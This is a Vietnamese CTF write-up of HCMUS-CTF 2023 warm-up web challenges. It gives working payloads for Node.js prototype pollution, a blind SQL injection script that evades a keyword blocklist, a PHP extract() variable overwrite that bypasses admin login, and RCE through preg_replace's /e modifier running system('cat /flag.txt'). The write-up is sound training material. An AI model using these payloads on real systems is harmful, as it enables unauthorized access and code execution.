# HCMUS-CTF 2023 Warm-up
Giải này chỉ private cho sinh viên trong trường chơi, nên mình có đi xin đề và source từ một người bạn tham gia giải. Chủ yếu là để luyện thêm CTF từ các trường khác.
##
| Category | Challenge Name | Difficulty |
| -------- | -------------- | ---------- |
| Web | Polluted Web | Easy |
| Web | Have I Been Pwned | Medium |
| Web | 8990 | Easy |
| Web | Cute Page 2 | Hard |
## Polluted Web
- Preview

-- Trang web viết bằng nodejs và có 2 chỗ input là Name và Opinion

Thử gửi lên và bắt request qua Burp thì mình thấy sau khi gửi web sẽ set một JWT lên, và nó sẽ parse ra để lấy Opinion.
-- Tiếp theo đến với source code của bài:

Dòng 28 có gọi đến hàm `validate`

Và ta có thể thấy thêm được từ hàm validate có gọi đến hàm `merge` ([Mà thường thì khi sử dụng hàm này có thể bị prototype pollution](https://sheon.hashnode.dev/web-hacking-prototype-pollution-attack))
- Exploit
```javascript=
if (userOpinions && flag.flag === true) {
if (temp.flag === true) {
userOpinions.push("Please, no hack!");
res.render("index", { userOpinions });
} else {
userOpinions.push(process.env.FLAG || "Flag{lmaolmao}");
res.render("index", { userOpinions });
}
} else {
res.render("index", { userOpinions });
}
```
Từ các điều kiện trên chúng ta cần gửi userOpinions && flag = true và temp.flag = false thì mới có thể lấy được flag
- Payload
```
{
"name": "onsra",
"opinion": "onsra",
"__proto__": {
"flag": true
},
"flag":false
}
```
Và sửa Content-Type: application/json

## Have I Been Pwned
- Preview
-- Nhìn qua code thì cũng đoán được là SQL blind.
-- Và có một ít filter.

Ở đây đầu vào là `pw` sau khi đi qua hàm filter
Black list như sau:
```
const blacklist = ["--", "#", "select", "like", "insert", " or ", "update", "from", "where", "union"];
```
- Idea
-- Vì ở bài này chỉ replaceAll khi mà gặp từ trong blacklist nên mình có thể sử dụng cách như sau:

Như vậy thì mình có thể dùng được Or mà không bị filter nữa.
-- Tuy nhiên cách mình làm lại tránh đi sử dụng các từ này :v , vì 2 cách comment đều bị xoá nên mình làm như sau:
` ' || '1' = '1 `
Câu query sẽ trở thành:
`SELECT id, password FROM pwned WHERE password='' || '1' = '1'`
Và như thế là mình thành công trong việc inject.
Tiếp theo là chỉ cần lấy flag, vì trong file db tác giải đã hint Flag ở id = 1337 (Chứ mà ngồi brute từng dòng thì lâu mới xong :v)

- Payload:
```python3=
import requests
import string
url = "http://103.245.250.17:30007"
string = string.printable
flag = ""
for i in range(1,200):
for j in string:
print(j,end='\r')
payload = {"password" : f"' || id = 1337 and ascii(substr(password,{i},1)) = ord('{j}') and '1' = '1"}
r = requests.post(url, data = payload)
if "./pwned.jpg" in r.text:
flag += j
print(flag)
break
```
## 8990
- Preview
-- Bài này có bị lộ flag khi chỉ cần truy cập vào file Docker, nhưng cái hay của bài là hướng RCE.
-- Mình chia chall này thành 2 phần:
Đầu tiên là cần bypass login:
-- Nếu chỉ login với account guest thì chúng ta không làm được gì, thế nhưng password admin đã bị hashmd5 mà không thể crack được.

```php=
<?php
include_once('filter.php');
session_start();
$guest_passwd = '084e0343a0486ff05530df6c705c8bb4'; # guest
$admin_passwd = 'b97bfac663d33e4823bbdd966508ecc1';
if (!empty($_SESSION['username'])) {
header('Location: /index.php');
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
extract(json_decode(file_get_contents("php://input"), true));
if (!isset($username) || !isset($password)) {
die('{"success":false,"data":{"error":"Missing username or password"}}');
}
if ($username === '' or $password === '') {
die('{"success":false,"data":{"error":"Username or password cannot be blank"}}');
}
# local debug only
if ($username === 'debug') {
if (!in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
die('{"success":false,"data":{"error":"Nope"}}');
}
}
switch ($username) {
case 'debug':
$_SESSION['username'] = 'admin';
$_SESSION['admin'] = true;
die('{"success":true}');
case 'admin':
if (md5($password) != $admin_passwd) {
die('{"success":false,"data":{"error":"Incorrect credentials"}}');
}
$_SESSION['username'] = 'admin';
$_SESSION['admin'] = true;
die('{"success":true}');
case 'guest':
if (md5($password) != $guest_passwd) {
die('{"success":false,"data":{"error":"Incorrect credentials"}}');
}
$_SESSION['username'] = 'guest';
$_SESSION['admin'] = false;
die('{"success":true}');
default:
die('{"success":false,"data":{"error":"Incorrect credentials"}}');
}
}
?>
```
- Idea
-- Nếu username = debug , thì cần điều kiện từ ip local, chỗ này thì cũng không thể bypass được.
-- Ở dòng 13 sử dụng [extract](https://www.php.net/manual/en/function.extract.php) để parse những cái mình input vào. -> Mình có thể exploit ở đây để login với admin, vì hàm này khá là nguy hiểm. Nói nôm na là extract sẽ đưa các biến input vào một mảng (Mình sẽ ghi đè lại password hash của admin).
```
{
"username":"admin",
"password":"admin",
"admin_passwd": "21232f297a57a5a743894a0e4a801fc3"
// 21232f297a57a5a743894a0e4a801fc3 = md5('admin')
}
```

Như vậy là login thành công, lấy PHPSESSID để vào bên trong trang web.
Tiếp đến đây là phần 2 của chall:

Một phần là vì thiếu file mà tác giả cung cấp, và lỗi font hay sao cái content nó bị ** như thế :v
-- Chỉ có một chức năng duy nhất là search content. Chúng ta sẽ review qua source.
```php=
<?php
include_once('filter.php');
session_start();
if (!$_SESSION['admin']) {
header('Location: /login.php');
exit;
}
$q = '';
extract($_GET);
$conn = new SQLite3('db.db');
$stmt = $conn->prepare('SELECT * FROM chat_logs WHERE content LIKE :q');
$stmt->bindValue(':q', '%'.$q.'%', SQLITE3_TEXT);
$result = $stmt->execute();
?>
```
-- Lại một lần nữa sử dụng hàm extract, và có thêm một câu query (Tuy nhiên ở đây theo cách viết này thì không bị lỗi sqli được).

Lướt xuống một chút thì có thể thấy filter_content được gọi đến từ file filter.php
```php=
<?php
$filter = '/'.preg_replace('/\r\n/', '|', file_get_contents('bad_words.txt')).'/i';
$mask = '*****';
function filter_content($content) {
global $filter, $mask;
return preg_replace($filter, $mask, $content);
}
?>
```
Kết hợp với extract ở trên thì mình có thể control được ở đây, nhưng mà control vào hàm preg_replace thì làm được gì :v .

Tác giả lại đi sử dụng php 5.5 :/
Các bạn có thể tham khảo ở đây để biết thêm ([Link](https://stackoverflow.com/questions/46903043/php-deprecated-preg-replace-the-e-modifier-is-deprecated-use-preg-replace))
Đọc qua về modifier e ở phiên bản 5.5 thì chút nào mọi người cũng hiểu được là nó sẽ chạy php bên trong hàm luôn.
Thế nên mình sẽ control cả 3 tham số truyền vào hàm và để RCE đọc flag.


- Payload:
`/admin.php?q=o&mask=system('cat+/flag.txt');&filter=/o/e`